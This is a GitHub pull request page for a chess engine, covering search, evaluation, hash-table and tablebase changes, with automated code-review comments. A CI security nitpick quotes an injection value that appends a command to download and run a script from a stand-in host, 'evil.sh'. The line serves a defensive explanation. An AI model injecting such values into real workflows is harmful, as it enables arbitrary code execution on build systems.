Skip to content

improvements and bugfix#6

Merged
winapiadmin merged 31 commits into
test_chesslibfrom
5-missing-hash-resize
Jul 9, 2026
Merged

improvements and bugfix#6
winapiadmin merged 31 commits into
test_chesslibfrom
5-missing-hash-resize

Conversation

@winapiadmin

Copy link
Copy Markdown
Owner

Fixes #5

  1. move ordering is rewritten
  2. rev futil pruning and futil pruning
  3. probcut
  4. NMP
  5. razoring
  6. singular ext
  7. SEE (also in the search)
  8. better LMR and extensions
  9. aspiration windows
  10. use ply in timeman
  11. TBs (not used in SPRT)
  12. better TT (bugfixed, in fact the main point of the PR is THIS)
  13. tuning extension (texel)

Passed STC (elo1=2): https://github.com/winapiadmin/cppchess_engine/actions/runs/28851470047

(mostly) pass LTC (elo1=2): https://github.com/winapiadmin/cppchess_engine/actions/runs/28864852436

Passed STC (elo1=5): https://github.com/winapiadmin/cppchess_engine/actions/runs/28876353922/job/85652602141

Passed LTC (elo1=5): https://github.com/winapiadmin/cppchess_engine/actions/runs/28876032178

the engine is not 1500 ELO yet

@winapiadmin winapiadmin linked an issue Jul 8, 2026 that may be closed by this pull request
@coderabbitai

coderabbitai Bot commented Jul 8, 2026

Copy link
Copy Markdown

Review Change Stack

📝 Walkthrough

Summary by CodeRabbit

  • New Features
    • Added Syzygy tablebase support and a new tablebase initialization interface.
    • Added UCI commands for evaluating a position, batch evaluation, exporting tuned weights, and running tuning from CSV.
    • Introduced improved evaluation weights (generated/exportable) and updated evaluation components for stronger play.
  • Bug Fixes
    • Hardened FEN and move parsing for safer error handling.
    • Improved time-management edge cases and refined search stop/thread shutdown behavior.
    • Upgraded transposition table handling for more reliable searching.
  • Chores
    • Added a new top-level Makefile and updated build/workflow defaults; added formatting configuration and gitignore exception.

Walkthrough

This PR adds tunable evaluation tables, rewrites evaluation and search internals, introduces Syzygy tablebase support, adds a CSV-based tuning pipeline, hardens UCI handling, and updates build, CI, and formatting configuration.

Changes

Engine runtime, tuning, and build updates

Layer / File(s) Summary
Formatting and build wiring
.clang-format, .gitignore, .github/workflows/games.yml, CMakeLists.txt, Makefile
Adds formatting rules, updates ignore exceptions, changes workflow defaults and artifact paths, and adjusts build targets, dependencies, and flags.
Evaluation tables and scoring
Weights.h, eval.h, eval.cpp
Defines evaluation weights and lookup tables, updates the eval API, and replaces the old eval path with feature-based middlegame and endgame scoring.
Move ordering, search, and hash table
movepick.h, movepick.cpp, search.h, search.cpp, tt.h, tt.cpp, score.h, score.cpp, timeman.h, timeman.cpp
Adds SEE-based move ordering, expands search state and pruning, changes transposition table storage and lookup, and applies related score/time-management updates.
Tablebase and UCI runtime wiring
tb.h, tb.cpp, main.cpp, uci.cpp, uci.h, ucioption.h, ucioption.cpp
Adds Syzygy tablebase support, wires the Hash and SyzygyPath options, and hardens UCI parsing, command dispatch, and info struct ownership.
Weight export and tuning pipeline
tune.h, tune.cpp, tune_cmd.h, tune_cmd.cpp
Adds Tune option printing/export helpers and implements CSV-driven gradient tuning plus weight generation.

Estimated code review effort: 5 (Critical) | ~120 minutes

Sequence Diagram(s)

sequenceDiagram
  participant UCI as uci.cpp
  participant Search as search::search
  participant TT as TranspositionTable
  participant Movepick as movepick::orderMoves
  participant TB as engine::tb

  UCI->>Search: search(position, limits)
  Search->>TT: newSearch() / lookup()
  loop iterative deepening
    Search->>Movepick: orderMoves(position, moves, ttMove, ply, session, prevMove)
    Movepick->>Movepick: see() static exchange evaluation
    Search->>TB: probe_wdl()/probe_dtz(position)
    TB-->>Search: WDL/DTZ result
    Search->>TT: store(entry)
  end
  Search-->>UCI: InfoFull(pv, bestmove)
Loading

Poem

A rabbit tuned the engine late,
With hashes, weights, and search so great.
It hopped through tables, neat and sly,
And sang: “Now run, and rank the sky!” 🐇

🚥 Pre-merge checks | ✅ 3 | ❌ 2

❌ Failed checks (1 warning, 1 inconclusive)

Check name Status Explanation Resolution
Out of Scope Changes check ⚠️ Warning The PR includes many unrelated search, eval, tuning, and tablebase changes beyond the hash-resize issue. Split the unrelated search, evaluation, tuning, and tablebase work into separate PRs and keep this one focused on the hash resize fix.
Title check ❓ Inconclusive The title is generic and doesn't clearly describe the main change in the PR. Use a concise, specific title such as "Fix transposition table resize handling".
✅ Passed checks (3 passed)
Check name Status Explanation
Description check ✅ Passed The description is clearly related to the code changes and the stated fix.
Linked Issues check ✅ Passed The hash resize fix is implemented by wiring Hash to tt.resize and correcting TranspositionTable resizing.
Docstring Coverage ✅ Passed No functions found in the changed files to evaluate docstring coverage. Skipping docstring coverage check.
✨ Finishing Touches
📝 Generate docstrings
  • Create stacked PR
  • Commit on current branch
🧪 Generate unit tests (beta)
  • Create PR with unit tests
  • Commit unit tests in branch 5-missing-hash-resize

Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

❤️ Share

Comment @coderabbitai help to get the list of available commands.

@chatgpt-codex-connector chatgpt-codex-connector Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

💡 Codex Review

Here are some automated review suggestions for this pull request.

Reviewed commit: 259e89e064

ℹ️ About Codex in GitHub

Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you

  • Open a pull request for review
  • Mark a draft as ready
  • Comment "@codex review".

If Codex has suggestions, it will comment; otherwise it will react with 👍.

Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".

Comment thread Makefile Outdated
Comment thread tt.h Outdated
Comment thread search.cpp Outdated

@coderabbitai coderabbitai Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 17

Note

Due to the large number of review comments, Critical, Major severity comments were prioritized as inline comments.

🟡 Minor comments (4)
uci.cpp-45-81 (1)

45-81: 🎯 Functional Correctness | 🟡 Minor | ⚡ Quick win

Use std::cout for info string messages to ensure GUI visibility.

Lines 69 and 77 emit info string prefixed messages to std::cerr, but line 251 uses std::cout for the same info string prefix. The UCI protocol delivers info string via stdout; using std::cerr means the GUI won't receive these error messages.

🔧 Proposed fix for consistent UCI output
-    std::cerr << "info string Invalid FEN: " << e.what() << std::endl;
+    std::cout << "info string Invalid FEN: " << e.what() << std::endl;
-        std::cerr << "info string Invalid move " << token << ": " << e.what() << std::endl;
+        std::cout << "info string Invalid move " << token << ": " << e.what() << std::endl;
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@uci.cpp` around lines 45 - 81, The `handlePosition` error messages use
`std::cerr` even though other UCI “info string” output in the engine is sent
through `std::cout`, so these messages may not reach the GUI. Update the
`handlePosition` exception paths that log “Invalid FEN” and “Invalid move” to
use the same stdout-based UCI output as the rest of the protocol, keeping the
`info string` prefix consistent with the existing `engine::stop`/UCI handling
behavior.
uci.cpp-196-281 (1)

196-281: 🎯 Functional Correctness | 🟡 Minor | ⚡ Quick win

Check file open success in export_weights and read out_file in tune.

Two issues in the new command handlers:

  1. export_weights (lines 240-242): std::fstream file(...) is not checked for open success. If the file can't be created, Tune::export_weights silently writes to a failed stream and the success message is still printed.

  2. tune (lines 246-249): out_file is declared with a default "Weights.h" but never read from ss, unlike export_weights which reads weights_header from ss. The user cannot specify a custom output file for tune.

🔧 Proposed fixes
     } else if (token == "export_weights") {
         std::string weights_header = "Weights.h";
         ss >> weights_header;
         std::fstream file(weights_header, std::ios::out);
+        if (!file.is_open()) {
+            std::cout << "info string Failed to open " << weights_header << " for writing" << std::endl;
+            break;
+        }
         Tune::export_weights(file);
         std::cout << "Dumped weights to " << weights_header << '\n';
         break;
     } else if (token == "tune") {
 `#ifdef` USE_CSV_PARSER
         std::string csv_path, out_file = "Weights.h";
         int iters = 50, max_pos = 20000;
-        ss >> csv_path >> iters >> max_pos;
+        ss >> csv_path >> iters >> max_pos >> out_file;
         tune_command(csv_path, iters, max_pos, out_file);
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@uci.cpp` around lines 196 - 281, The new command handlers in execCmd need two
fixes: `export_weights` should verify the `std::fstream` opened successfully
before calling `Tune::export_weights`, and only print the success message when
the file stream is valid. Also, in the `tune` branch, read the optional output
filename from the input stream into `out_file` instead of always keeping the
default, so callers can override the generated weights target.
eval.cpp-694-713 (1)

694-713: 🎯 Functional Correctness | 🟡 Minor | ⚡ Quick win

Preserve drawn scores before adding tempo.

The draw branches return zero components, but Line 721 still adds tempo, so public eval() can report a non-zero score for positions this code labels drawn; this also affects non-search consumers like UCI eval and tuning.

Also applies to: 718-721

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@eval.cpp` around lines 694 - 713, The draw detection in eval.cpp returns zero
from the material-draw branches, but eval() still adds tempo afterward, which
can make a position scored as drawn return non-zero. Update the evaluation flow
around the draw checks and the tempo addition so these forced-draw cases stay
exactly zero in the final public score, using the eval() draw branches and the
surrounding tempo logic as the anchor points.
tune.cpp-22-29 (1)

22-29: 🎯 Functional Correctness | 🟡 Minor | ⚡ Quick win

Include <cstdlib> before using std::exit. std::exit is declared there; relying on transitive includes is non-portable.

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@tune.cpp` around lines 22 - 29, The use of std::exit in tune.cpp relies on an
indirect include, so add the proper header directly. Update the include block
near the top of the file to include <cstdlib> alongside the existing standard
headers so the call site that uses std::exit is portable and self-contained.
🧹 Nitpick comments (4)
Makefile (1)

30-46: 📐 Maintainability & Code Quality | 🔵 Trivial | 💤 Low value

Declare all, clean, and deps as .PHONY.

Static analysis flags missing .PHONY declarations for these targets. Adding them prevents make from confusing them with files of the same name.

✨ Proposed fix
+.PHONY: all clean deps
+
 all: deps $(TARGET)
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@Makefile` around lines 30 - 46, Declare the Makefile targets all, clean, and
deps as .PHONY so make never treats same-named files as up-to-date targets. Add
the phony declaration near the existing target definitions and keep the current
deps, all, and clean rules unchanged; this should be applied to the Makefile
symbols deps, all, and clean.

Source: Linters/SAST tools

CMakeLists.txt (2)

14-18: 📐 Maintainability & Code Quality | 🔵 Trivial | ⚡ Quick win

Pin tbprobe to a specific commit or tag instead of main.

Using GIT_TAG main makes builds non-reproducible — an upstream push could silently break CI or introduce unexpected changes. The same applies to the csv dependency at line 73 (GIT_TAG master).

🔒️ Proposed fix
 FetchContent_Declare(
     tbprobe
     GIT_REPOSITORY https://github.com/winapiadmin/tb_probing_tool.git
-    GIT_TAG main
+    GIT_TAG <specific-commit-sha-or-tag>
 )
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@CMakeLists.txt` around lines 14 - 18, The FetchContent declarations for
tbprobe and csv are pinned to moving branch names instead of immutable
revisions, which makes builds non-reproducible. Update the FetchContent_Declare
entries for tbprobe and the csv dependency to use a specific commit SHA or
released tag in GIT_TAG, so CMake always fetches the same source version. Locate
the declarations by their dependency names and replace the branch-based tags
with fixed revisions.

69-78: 📐 Maintainability & Code Quality | 🔵 Trivial | ⚡ Quick win

Pin csv-parser to a specific commit or tag instead of master.

Same reproducibility concern as tbprobe — a moving branch reference means builds can break without any local code change.

🔒️ Proposed fix
     FetchContent_Declare(
         csv
         GIT_REPOSITORY https://github.com/vincentlaucsb/csv-parser.git
-        GIT_TAG master
+        GIT_TAG <specific-commit-sha-or-tag>
     )
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@CMakeLists.txt` around lines 69 - 78, The ENGINE_TUNING FetchContent setup
for csv-parser is using a moving branch reference, so pin the dependency to a
specific immutable commit or release tag instead of master. Update the
FetchContent_Declare block for csv in CMakeLists.txt to use a fixed GIT_TAG,
keeping the rest of the engine target_link_libraries and USE_CSV_PARSER
definitions unchanged.
main.cpp (1)

25-29: 📐 Maintainability & Code Quality | 🔵 Trivial | 💤 Low value

// work in progress comment on the SyzygyPath option.

The comment suggests this feature is incomplete. If it's intended for production use, remove the WIP marker or track remaining work in an issue. Additionally, if tb::init is updated to catch internal exceptions (as suggested in the tb.cpp review), this callback is safe; otherwise it has the same unhandled-exception concern.

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@main.cpp` around lines 25 - 29, The SyzygyPath option still has a “work in
progress” marker, so either remove that comment if this is ready for production
or replace it with a tracked follow-up reference. Review the callback in
main.cpp where options.add("SyzygyPath", ...) calls tb::init, and ensure it
remains aligned with the tb::init exception-handling behavior from tb.cpp; if
tb::init does not catch internal exceptions, the callback needs guarding before
this can be considered complete.
🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

Inline comments:
In `@eval.cpp`:
- Around line 285-292: The phase accumulator in the material-phase logic can
exceed the interpolation range after promotions, which makes the endgame weight
negative. In the phase calculation used by the evaluation code that accumulates
KnightPhase, BishopPhase, RookPhase, and QueenPhase, clamp the final phase value
to the valid 0..256 range before it is used for interpolation so the
middlegame/endgame blend remains bounded. Locate the fix near the phase
computation and the later interpolation that consumes phase, and ensure the
clamped value is the one passed through.

In `@main.cpp`:
- Around line 15-18: The Hash option callback in the options.add("Hash",
Option(...)) lambda can let std::bad_alloc escape from
search::tt.resize(int(o)), which crashes the engine. Update the Hash callback to
catch allocation failure around search::tt.resize and convert it into a safe
failure path, returning an error or nullopt after handling the exception so the
UCI entry point never propagates an unhandled exception.

In `@Makefile`:
- Line 34: The Makefile source filter is using the wrong excluded filename, so
tune_cmd.cpp is still being picked up by SRCS and built without the needed CSV
parser setup. Update the filter-out in the SRCS definition to exclude
tune_cmd.cpp instead of tuning_cmd.cpp, keeping the rest of the wildcard list
unchanged so the standalone tuning source is not compiled in the default build.

In `@movepick.cpp`:
- Around line 80-92: The occupancy handling in the move-picking loop is
incorrect because occ is being reduced to only attacking pieces before x-ray
recomputation. In the logic around least_valuable_attacker and the attackers
refresh, replace the occupancy mutation so the attacker set is masked by the
current occupancy rather than discarding non-attacking blockers, ensuring
board.attackers(...) on the recompute path sees the full occupied board.
- Around line 54-60: Handle en-passant correctly in the SEE occupancy setup
inside movepick.cpp. In the SEE calculation around the captured-piece and occ
handling, make sure the pawn captured by an EN_PASSANT move is removed from the
temporary occupancy bitboard before any attack generation or recapture
evaluation. Update the logic in the move type/captured handling block so the
EP-captured pawn is excluded from occ, alongside removing the moving piece from
from, and keep the existing captured/no-piece checks intact.

In `@search.cpp`:
- Around line 572-580: The temporary qsearch session in the fallback search
block is created without initializing its TimeManagement state, so qsearch() can
return VALUE_NONE when it checks tmpSession.tm.elapsed()/optimum(). Update the
fallback paths that use Session tmpSession{} in search.cpp to initialize the
session the same way as the main search flow, using the existing
Session/TimeManagement setup before calling qsearch(). Apply the same fix to
both qsearch call sites in the move loop and the fallback block so tmpSession is
always properly initialized before use.
- Around line 74-76: The recursive stop checks in search.cpp are missing the
parsed UCI node limit, so go nodes N can keep searching past N until another
stop condition triggers. Update the predicate used in the stop-return paths in
the recursive search logic (the checks around session.nodes,
session.tm.elapsed(), stopSearch, and the other recursive stop checks in the
same flow) to also test LimitsType::nodes consistently. Use the same node-limit
condition wherever the existing time/depth/stop checks are applied so search
stops immediately once the requested node count is reached.
- Around line 399-421: The LMR block in search.cpp is clamping reduction even
when no reduction was chosen, which forces a minimum reduction for some checking
or early capture moves. Update the logic around the LMR reduction calculation in
the search routine so std::clamp is only applied when reduction was actually
assigned by the branch conditions. Use the existing identifiers reduction,
movesSearched, depth, isCapture, and givesCheck to keep the behavior unchanged
for moves where the code intentionally leaves reduction at 0.

In `@search.h`:
- Around line 13-19: The Session move-ordering tables are left uninitialized, so
the first search can read garbage from killerMoves and counterMoves before they
are populated. Update the Session definition so these members are
zero-initialized alongside the existing historyHeuristic array, and verify any
Session construction path still leaves pv, killerMoves, and counterMoves in a
safe default state for movepick.cpp to consume.

In `@tb.cpp`:
- Around line 23-34: The init() function currently lets exceptions from
tbprobe::syzygy::initialize() and tablebase.add_directory() escape, which can
crash the UCI option handler when SyzygyPath is invalid. Wrap the body of init()
in a try/catch, keep the existing successful info string behavior, and on
failure print an info string with the error details instead of propagating the
exception; use init(), tablebase.add_directory(), and
tbprobe::syzygy::initialize() as the key points to update.

In `@tt.cpp`:
- Around line 67-71: The TT lookup logic in the entry checks around the e0/e1
key comparisons is returning zero-initialized slots when hash is 0, which can
produce bogus EXACT hits. Update the lookup path to explicitly reject empty
entries for hash 0 (or any entry with key 0 after clear/resize) before returning
from the TT lookup, and keep the fix localized to the lookup method that
compares e0.key and e1.key so it never treats zeroed TT entries as valid
matches.
- Around line 22-23: The portable branch in index_for_hash still references
undefined fallback identifiers, so replace the uses of a and b with the in-scope
values hash and buckets in the uint64_t setup. Make sure the fallback arithmetic
in index_for_hash consistently derives aL/aH from hash and bL/bH from buckets so
the non-optimized path compiles cleanly.

In `@tt.h`:
- Around line 84-90: Keep the transposition table bucket count in size_t as
well: TranspositionTable::buckets is still an int, so large allocations can
overflow and break lookup/store behavior even when size is valid. Update the
TranspositionTable fields and any related calculations in the constructor,
lookup/store paths, and resize/allocation logic to use size_t for bucket
counting and indexing, matching the widened size member.

In `@tune_cmd.cpp`:
- Line 721: The best-weight selection in tune_cmd.cpp is using training loss
instead of the computed holdout loss, so update the logic around
best_x/best_loss to compare against hold_loss and keep the best holdout-scoring
iteration. Make sure the same selection criterion is applied consistently in the
related blocks referenced by tune helpers so the final “best holdout” log and
exported weights both come from the lowest holdout loss.
- Around line 296-306: Several MG/EG parameter updates in tune_cmd.cpp are
adding raw gradient contributions instead of matching the phase blending used by
eval(); update the affected gradient paths so each MG term is weighted by
phase_mg and each EG term by phase_eg before accumulation. Focus on the paired
parameter handling around bishopPairMg/bishopPairEg and the other listed MG/EG
sections so the tuning objective matches the eval() objective consistently.
- Around line 882-907: In tune_command, validate max_pos before using it as a
size_t cap and reject non-positive values instead of letting negative values
wrap or zero disable loading; also handle the case where the CSV loads no rows
so the later training setup does not operate on an empty TuneData. Make the
guard apply before building train_idx and before any logic that depends on n, so
tune_command can fail fast with a clear error when max_pos is invalid or the
dataset is empty.
- Around line 875-878: The export paths in tune_cmd.cpp are calling
Tune::export_weights(file) without verifying that the std::fstream for
weights_header opened successfully, which can silently drop the tuned output.
Update both export sites around Tune::export_weights and the file setup in the
export-best-weights flow to check file.is_open() or stream state before writing,
and handle the failure case explicitly (log/return/error) instead of proceeding
with export.

---

Minor comments:
In `@eval.cpp`:
- Around line 694-713: The draw detection in eval.cpp returns zero from the
material-draw branches, but eval() still adds tempo afterward, which can make a
position scored as drawn return non-zero. Update the evaluation flow around the
draw checks and the tempo addition so these forced-draw cases stay exactly zero
in the final public score, using the eval() draw branches and the surrounding
tempo logic as the anchor points.

In `@tune.cpp`:
- Around line 22-29: The use of std::exit in tune.cpp relies on an indirect
include, so add the proper header directly. Update the include block near the
top of the file to include <cstdlib> alongside the existing standard headers so
the call site that uses std::exit is portable and self-contained.

In `@uci.cpp`:
- Around line 45-81: The `handlePosition` error messages use `std::cerr` even
though other UCI “info string” output in the engine is sent through `std::cout`,
so these messages may not reach the GUI. Update the `handlePosition` exception
paths that log “Invalid FEN” and “Invalid move” to use the same stdout-based UCI
output as the rest of the protocol, keeping the `info string` prefix consistent
with the existing `engine::stop`/UCI handling behavior.
- Around line 196-281: The new command handlers in execCmd need two fixes:
`export_weights` should verify the `std::fstream` opened successfully before
calling `Tune::export_weights`, and only print the success message when the file
stream is valid. Also, in the `tune` branch, read the optional output filename
from the input stream into `out_file` instead of always keeping the default, so
callers can override the generated weights target.

---

Nitpick comments:
In `@CMakeLists.txt`:
- Around line 14-18: The FetchContent declarations for tbprobe and csv are
pinned to moving branch names instead of immutable revisions, which makes builds
non-reproducible. Update the FetchContent_Declare entries for tbprobe and the
csv dependency to use a specific commit SHA or released tag in GIT_TAG, so CMake
always fetches the same source version. Locate the declarations by their
dependency names and replace the branch-based tags with fixed revisions.
- Around line 69-78: The ENGINE_TUNING FetchContent setup for csv-parser is
using a moving branch reference, so pin the dependency to a specific immutable
commit or release tag instead of master. Update the FetchContent_Declare block
for csv in CMakeLists.txt to use a fixed GIT_TAG, keeping the rest of the engine
target_link_libraries and USE_CSV_PARSER definitions unchanged.

In `@main.cpp`:
- Around line 25-29: The SyzygyPath option still has a “work in progress”
marker, so either remove that comment if this is ready for production or replace
it with a tracked follow-up reference. Review the callback in main.cpp where
options.add("SyzygyPath", ...) calls tb::init, and ensure it remains aligned
with the tb::init exception-handling behavior from tb.cpp; if tb::init does not
catch internal exceptions, the callback needs guarding before this can be
considered complete.

In `@Makefile`:
- Around line 30-46: Declare the Makefile targets all, clean, and deps as .PHONY
so make never treats same-named files as up-to-date targets. Add the phony
declaration near the existing target definitions and keep the current deps, all,
and clean rules unchanged; this should be applied to the Makefile symbols deps,
all, and clean.
🪄 Autofix (Beta)

Fix all unresolved CodeRabbit comments on this PR:

  • Push a commit to this branch (recommended)
  • Create a new PR with the fixes

ℹ️ Review info
⚙️ Run configuration

Configuration used: Organization UI

Review profile: CHILL

Plan: Pro Plus

Run ID: 025c984c-d36b-4922-81e2-1fd6497084d6

📥 Commits

Reviewing files that changed from the base of the PR and between 6adfd1f and 6dc67fc.

📒 Files selected for processing (29)
  • .clang-format
  • .github/workflows/games.yml
  • .gitignore
  • CMakeLists.txt
  • Makefile
  • Weights.h
  • eval.cpp
  • eval.h
  • main.cpp
  • movepick.cpp
  • movepick.h
  • score.cpp
  • score.h
  • search.cpp
  • search.h
  • tb.cpp
  • tb.h
  • timeman.cpp
  • timeman.h
  • tt.cpp
  • tt.h
  • tune.cpp
  • tune.h
  • tune_cmd.cpp
  • tune_cmd.h
  • uci.cpp
  • uci.h
  • ucioption.cpp
  • ucioption.h

Comment thread eval.cpp
Comment thread main.cpp
Comment thread Makefile Outdated
Comment thread movepick.cpp
Comment thread movepick.cpp Outdated
Comment thread tt.h
Comment thread tune_cmd.cpp
Comment thread tune_cmd.cpp
Comment thread tune_cmd.cpp
Comment thread tune_cmd.cpp
winapiadmin and others added 4 commits July 8, 2026 08:05
Results of new vs base (10+0.1, NULL, 64MB, UHO_Lichess_4852_v1.epd):
Elo: 111.48 +/- 22.41, nElo: 152.89 +/- 28.67
LOS: 100.00 %, DrawRatio: 30.14 %, PairsRatio: 4.05
Games: 564, Wins: 256, Losses: 81, Draws: 227, Points: 369.5 (65.51 %)
Ptnml(0-2): [4, 35, 85, 98, 60], WL/DD Ratio: 0.81
LLR: 2.95 (100.3%) (-2.94, 2.94) [0.00, 5.00]
--------------------------------------------------

@coderabbitai coderabbitai Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

♻️ Duplicate comments (1)
movepick.cpp (1)

82-92: 🎯 Functional Correctness | 🟠 Major | ⚡ Quick win

Mask attackers by occ so removed pieces aren't reselected.

board.occ(stm) is the full color occupancy and never reflects the occ ^= 1ULL << sq removals at Line 89. If board.attackers(...) (Line 92) intersects attacks with the board's own piece bitboards rather than with the passed occ, an already-used attacker stays in attackers and gets picked again by least_valuable_attacker, charging the same piece repeatedly and corrupting the swap-off (and potentially spinning until gain[d] < 0 or d == 32). Mask by the current occ:

Proposed fix
-        Bitboard stmAttackers = attackers & board.occ(stm);
+        Bitboard stmAttackers = attackers & occ & board.occ(stm);

This is the same unresolved concern raised previously (the earlier attackers &= occ fix was not applied). Please confirm board.attackers semantics before merging.

#!/bin/bash
set -euo pipefail
# Inspect chesslib's Board::attackers to determine whether it restricts
# results to the passed occupancy bitboard or uses full piece bitboards.
fd -e h -e hpp -e cpp | xargs rg -nP '\battackers\s*\(' -l 2>/dev/null | head
echo '--- definitions ---'
ast-grep run --pattern 'Bitboard attackers($$$) { $$$ }' --lang cpp . 2>/dev/null || true
rg -nP -C15 '\battackers\s*\([^)]*occ' $(fd -e h -e hpp | xargs rg -l 'attackers' 2>/dev/null) 2>/dev/null | head -80
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@movepick.cpp` around lines 82 - 92, The swap-off loop in movepick.cpp can
reselect a piece that was already removed because attackers is recomputed
without being constrained to the updated occ. In the section that uses
least_valuable_attacker and board.attackers, make sure attackers is always
masked against the current occ after each removal so only still-present pieces
remain eligible. Confirm the semantics of board.attackers first; if it returns
attacks independent of occupancy, apply the occ mask immediately after
recomputing attackers to prevent double-counting or endless looping.
🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

Duplicate comments:
In `@movepick.cpp`:
- Around line 82-92: The swap-off loop in movepick.cpp can reselect a piece that
was already removed because attackers is recomputed without being constrained to
the updated occ. In the section that uses least_valuable_attacker and
board.attackers, make sure attackers is always masked against the current occ
after each removal so only still-present pieces remain eligible. Confirm the
semantics of board.attackers first; if it returns attacks independent of
occupancy, apply the occ mask immediately after recomputing attackers to prevent
double-counting or endless looping.

ℹ️ Review info
⚙️ Run configuration

Configuration used: Organization UI

Review profile: CHILL

Plan: Pro Plus

Run ID: 2536232f-8889-4c5a-b81c-b7a4d8b82c1b

📥 Commits

Reviewing files that changed from the base of the PR and between 6dc67fc and ac259c5.

📒 Files selected for processing (13)
  • Makefile
  • Weights.h
  • eval.cpp
  • main.cpp
  • movepick.cpp
  • search.cpp
  • search.h
  • tb.cpp
  • tt.cpp
  • tt.h
  • tune.cpp
  • tune_cmd.cpp
  • uci.cpp
🚧 Files skipped from review as they are similar to previous changes (12)
  • Makefile
  • main.cpp
  • tt.cpp
  • tune_cmd.cpp
  • Weights.h
  • tune.cpp
  • search.h
  • uci.cpp
  • tt.h
  • eval.cpp
  • tb.cpp
  • search.cpp

@coderabbitai coderabbitai Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🧹 Nitpick comments (1)
.github/workflows/games.yml (1)

126-126: 🔒 Security & Privacy | 🔵 Trivial | ⚡ Quick win

Use environment variables for workflow inputs in shell commands to prevent template injection.

${{ github.event.inputs.elo0 }} and ${{ github.event.inputs.elo1 }} are interpolated directly into a run block. A malicious value (e.g., 0.5; curl evil.sh | sh) would execute arbitrary commands. While workflow_dispatch limits this to users with write access, the same pattern affects output_exec (Lines 114, 120) and tc (Line 122). Prefer passing inputs via env: and referencing them as shell variables.

♻️ Proposed fix using environment variables
       - name: Run fastchess
+        env:
+          ELO0: ${{ github.event.inputs.elo0 }}
+          ELO1: ${{ github.event.inputs.elo1 }}
+          TC: ${{ github.event.inputs.tc }}
+          OUTPUT_EXEC: ${{ github.event.inputs.output_exec }}
         run: |
           ./fastchess -recover \
             -engine cmd=new-engine/engine name=new \
-            -engine cmd=base-engine/${{ github.event.inputs.output_exec }} name=base \
+            -engine cmd=base-engine/$OUTPUT_EXEC name=base \
             -openings file=UHO_Lichess_4852_v1.epd format=epd order=random \
-            -each tc=${{ github.event.inputs.tc }} \
+            -each tc=$TC \
             -rounds ${{ github.event.inputs.rounds }} \
             -concurrency $(nproc) \
             -pgnout notation=san nodes=true file=games.pgn \
-            -sprt elo0=${{ github.event.inputs.elo0 }} elo1=${{ github.event.inputs.elo1 }} alpha=0.05 beta=0.05 | tee results.txt
+            -sprt elo0=$ELO0 elo1=$ELO1 alpha=0.05 beta=0.05 | tee results.txt

Apply the same env: approach to the chmod step (Line 114) and any other run blocks that interpolate github.event.inputs.

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In @.github/workflows/games.yml at line 126, The workflow steps that use
github.event.inputs directly in shell commands are vulnerable to template
injection, especially in the sprt invocation and the related output_exec and tc
runs. Move those inputs into env variables on the affected steps, then reference
the shell variables inside the run blocks instead of interpolating the GitHub
expressions directly; apply the same pattern to the chmod step and any other run
blocks in the workflow that consume dispatch inputs.

Source: Linters/SAST tools

🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

Nitpick comments:
In @.github/workflows/games.yml:
- Line 126: The workflow steps that use github.event.inputs directly in shell
commands are vulnerable to template injection, especially in the sprt invocation
and the related output_exec and tc runs. Move those inputs into env variables on
the affected steps, then reference the shell variables inside the run blocks
instead of interpolating the GitHub expressions directly; apply the same pattern
to the chmod step and any other run blocks in the workflow that consume dispatch
inputs.

ℹ️ Review info
⚙️ Run configuration

Configuration used: Organization UI

Review profile: CHILL

Plan: Pro Plus

Run ID: 2675f888-66ac-4f24-bc79-dc365e98b109

📥 Commits

Reviewing files that changed from the base of the PR and between ac259c5 and d9e061a.

📒 Files selected for processing (3)
  • .github/workflows/games.yml
  • eval.cpp
  • search.cpp
🚧 Files skipped from review as they are similar to previous changes (2)
  • eval.cpp
  • search.cpp

@winapiadmin

Copy link
Copy Markdown
Owner Author

♻️ Duplicate comments (1)

movepick.cpp (1)> 82-92: 🎯 Functional Correctness | 🟠 Major | ⚡ Quick win

Mask attackers by occ so removed pieces aren't reselected.
board.occ(stm) is the full color occupancy and never reflects the occ ^= 1ULL << sq removals at Line 89. If board.attackers(...) (Line 92) intersects attacks with the board's own piece bitboards rather than with the passed occ, an already-used attacker stays in attackers and gets picked again by least_valuable_attacker, charging the same piece repeatedly and corrupting the swap-off (and potentially spinning until gain[d] < 0 or d == 32). Mask by the current occ:

Proposed fix

